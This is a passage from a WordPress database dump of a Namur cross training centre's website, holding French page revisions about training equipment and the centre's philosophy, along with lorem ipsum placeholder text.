stabilité.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;', 'Le cross training', '', 'publish', 'closed', 'open', '', 'le-cross-training', '', '', '2013-11-04 17:38:54', '2013-11-04 17:38:54', '', 0, 'http://www.crosstrainingcenter.be/?page_id=22', 0, 'page', '', 0),
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Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-05-23 19:28:51', '2013-05-23 19:28:51', '', 11, 'http://www.crosstrainingcenter.be/?p=29', 0, 'revision', '', 0),
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Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;\r\n\r\n&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;\r\n\r\n&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-05-23 19:28:51', '2013-05-23 19:28:51', '', 5, 'http://www.crosstrainingcenter.be/?p=30', 0, 'revision', '', 0);
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(32, 1, '2013-07-10 16:11:47', '2013-07-10 16:11:47', '&lt;blockquote&gt;\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\n&lt;/blockquote&gt;\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …).\n&lt;h2&gt;&lt;/h2&gt;\n&amp;nbsp;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr&gt;\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;/div&gt;\n&amp;nbsp;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr&gt;\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-70\&quot; alt=\&quot;kb\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\n&lt;h1&gt;Kettlebell&lt;/h1&gt;\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;/div&gt;\n&amp;nbsp;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr&gt;\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-72\&quot; alt=\&quot;vipr-f1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\n&lt;h1&gt;ViPR&lt;/h1&gt;\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;/div&gt;\n&amp;nbsp;\n&lt;div class=\&quot;arrondi\&quot;&gt;\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\n&lt;tbody&gt;\n&lt;tr&gt;\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-75\&quot; alt=\&quot;ript\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.&lt;/td&gt;\n&lt;/tr&gt;\n&lt;/tbody&gt;\n&lt;/table&gt;\n&lt;/div&gt;\n&amp;nbsp;', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-autosave-v1', '', '', '2013-07-10 16:11:47', '2013-07-10 16:11:47', '', 22, 'http://www.crosstrainingcenter.be/?p=32', 0, 'revision', '', 0),
(31, 1, '2013-05-24 14:36:30', '2013-05-24 14:36:30', '&lt;h1&gt;Prise de RDV :&lt;/h1&gt;\r\nblablabla', 'Contact', '', 'inherit', 'open', 'open', '', '9-revision-v1', '', '', '2013-05-24 14:36:30', '2013-05-24 14:36:30', '', 9, 'http://www.crosstrainingcenter.be/?p=31', 0, 'revision', '', 0),
(40, 1, '2013-06-16 08:02:41', '2013-06-16 08:02:41', '« Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines. Afin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …). Nous vous invitons à les découvrir ci-dessous. »\r\n&lt;h2&gt;&lt;b&gt;TRX Suspension Training &lt;/b&gt;&lt;/h2&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.\r\n&lt;h2&gt;&lt;b&gt;Kettlebel&lt;/b&gt;&lt;/h2&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.\r\n&lt;h2&gt;&lt;b&gt;ViPR&lt;/b&gt;&lt;/h2&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.\r\n&lt;h2&gt;&lt;b&gt;RIP TRAINER&lt;/b&gt;&lt;/h2&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il a été conçu par Peter Holman, kinésithérapeute américain. Chaque exercice avec le Rip Trainer exige l\'engagement de toute la ceinture abdominale et entraine le corps à bouger avec plus de puissance et de stabilité.', 'Le cross training', '', 'inherit', 'open', 'open', '', '22-revision-v1', '', '', '2013-06-16 08:02:41', '2013-06-16 08:02:41', '', 22, 'http://www.crosstrainingcenter.be/?p=40', 0, 'revision', '', 0),
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Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. 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Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;\r\n\r\n&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. 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(42, 1, '2013-06-13 16:26:32', '2013-06-13 16:26:32', 'Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle, en privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis. Ce dosage subtil définit la qualité de l\'entraînement. Ces 3 buts sont :\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;PREVENIR&lt;/b&gt; – &lt;b&gt;AMELIORER&lt;/b&gt; – &lt;b&gt;RECUPERER&lt;/b&gt;.&lt;/p&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-13 16:26:32', '2013-06-13 16:26:32', '', 5, 'http://www.crosstrainingcenter.be/?p=42', 0, 'revision', '', 0),
(53, 1, '2013-06-16 10:24:38', '2013-06-16 10:24:38', 'Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle, en privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis. Ce dosage subtil définit la qualité de l\'entraînement. Ces 3 buts sont :\r\n\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 10:24:38', '2013-06-16 10:24:38', '', 5, 'http://www.crosstrainingcenter.be/?p=53', 0, 'revision', '', 0),
(44, 1, '2013-06-16 08:20:16', '2013-06-16 08:20:16', 'Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle, en privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis. Ce dosage subtil définit la qualité de l\'entraînement. Ces 3 buts sont :\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-41\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x127.png\&quot; width=\&quot;300\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;&lt;/b&gt;&lt;/p&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – &lt;b&gt;ACTIVITE PHYSIQUE &lt;/b&gt;– &lt;b&gt;STRESS&lt;/b&gt;&lt;/p&gt;\r\nNous intervenons principalement au niveau de l’ALIMENTATION et au niveau de l’ACTIVITE PHYSIQUE. Cependant, un travail spécifique peut aussi se réaliser au niveau du STRESS.\r\n\r\nPour ce faire, nous avons mis sur pied une équipe pluri-disciplinaire composée de spécialistes de l’éducation physique, de la kinésithérapie, de la diététique, de la médecine, …\r\n\r\nChaque semaine, l’homme moderne passe une grosse partie de son temps à dormir, assis, en déplacement, à s’occuper de ses proches, … Il ne lui reste plus beaucoup de temps.  Il nous est alors inconcevable d’imaginer de longues séances de travail assis sur des machines dans des salles conventionnelles de fitness. C’est pourquoi l’équipe de votre Cross training center a opté pour un travail de qualité de 30 minutes, suffisant pour stimuler l’organisme, facile à caser dans nos agendas et fonctionnel pour correspondre au travail musculaire réel rencontré dans la vie de tous les jours.\r\n\r\nEn fonction de vos besoins, nous vous proposerons aussi une aide pour vous aider à perdre du poids, à prendre de la masse,… et vous orienterons vers des compléments Forever adaptés si nécessaire.', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-06-16 08:20:16', '2013-06-16 08:20:16', '', 5, 'http://www.crosstrainingcenter.be/?p=44', 0, 'revision', '', 0),
(46, 1, '2013-06-16 10:02:09', '2013-06-16 10:02:09', 'Selon Guy Namurois, l’activité physique doit poursuivre trois objectifs en parallèle, en privilégiant alternativement chacun d\'eux suivant l\'état de forme et les buts poursuivis. Ce dosage subtil définit la qualité de l\'entraînement. Ces 3 buts sont :\r\n\r\n&lt;a href=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1.png\&quot;&gt;&lt;img class=\&quot;alignnone size-medium wp-image-43\&quot; alt=\&quot;pico1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/pico1-300x127.png\&quot; width=\&quot;300\&quot; height=\&quot;127\&quot; /&gt;&lt;/a&gt;\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;/p&gt;\r\nAfin d’optimaliser votre travail et de répondre aux besoins spécifiques de chacun, le Cross Training Center de Namur ne conçoit pas l’activité physique de manière isolée. En effet, nous avons décidé d’intervenir à trois niveaux :\r\n&lt;p align=\&quot;center\&quot;&gt;&lt;b&gt;ALIMENTATION&lt;/b&gt; – 